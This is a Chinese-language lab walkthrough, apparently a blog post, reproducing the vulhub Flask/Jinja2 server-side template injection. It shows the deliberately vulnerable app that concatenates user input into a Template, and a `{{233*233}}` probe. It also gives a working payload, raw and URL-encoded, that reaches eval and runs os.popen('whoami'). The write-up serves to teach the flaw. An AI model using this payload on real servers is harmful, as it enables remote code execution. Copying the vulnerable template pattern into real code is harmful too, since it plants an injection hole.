• Flask(Jinja2) 服务端模板注入漏洞vulhub


    Flask(Jinja2) 服务端模板注入漏洞vulhub

    前言

    Flask简介

    Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
    Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

    Jinja2 模版部分语法

    1. 变量
      Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
      Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

      Hello, {{ name|capitalize }}
      
    2. if&for语句
      if语句简单示例

      {% if user %}
           Hello,{{user}} !
      {% else %}
           Hello,Stranger!
      {% endif %}
      
    3. for语句循环渲染一组元素

      <ul>
           {% for comment in comments %}
               <li>{{comment}}</li>
           {% endfor %}
      </ul>
      

    漏洞原理

    模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务器模板中拼接了恶意用户输入导致各种漏洞。

    漏洞环境

    编译及运行测试环境:

    cd flask/ssti/
    docker-compose build
    docker-compose up -d
    

    image-20210115193311247

    漏洞复现

    flask/ssti后端源码

    from flask import Flask, request
    from jinja2 import Template
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        name = request.args.get('name', 'guest')
    
        t = Template("Hello " + name)
        return t.render()
    
    if __name__ == "__main__":
        app.run()
    

    观察代码 name变量完全可控

    输出无过滤就注定会存在xss,当然还有更多深层次的漏洞。

    image-20210115203804642

    image-20210115194058129

    访问http://172.168.30.66:8000/?name={{233*233}},得到54289,说明SSTI漏洞存在。

    image-20210115194206107

    eval()函数又称为评估函数,作用是去掉参数中最外层引号并执行剩余语句。
    划重点:只去掉最外层引号
    eval()的参数形式为字符串或字符串变量,在程序中可以将字符串形式的输入值转化为数字进行计算。
    更广泛的应用是将任意字符串形式的输入值转化为Python可处理的语句。

    获取eval函数并执行任意python代码的POC:

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("whoami").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    

    访问http://172.168.30.66:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22whoami%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D,得到执行结果:

    image-20210115211023001

  • 相关阅读:
    Git设置HTTP/HTTPS代理服务器
    队列(Queue)顺序存储C语言实现
    二叉树前序序列和中序序列转为后序序列
    CFileDialog对话框中,如何修改对话框标题
    轻型读写锁 Slim Reader/Writer (SRW) Locks
    PC lint -sem 用法示例
    C# Linq 取得两个列表的交集
    wpf datagrid row的命中测试
    C# Unit Test 备注
    DataGrid 滚动特定的行或者列
  • 原文地址:https://www.cnblogs.com/yujin2020/p/14284403.html
Copyright © 2020-2023  润新知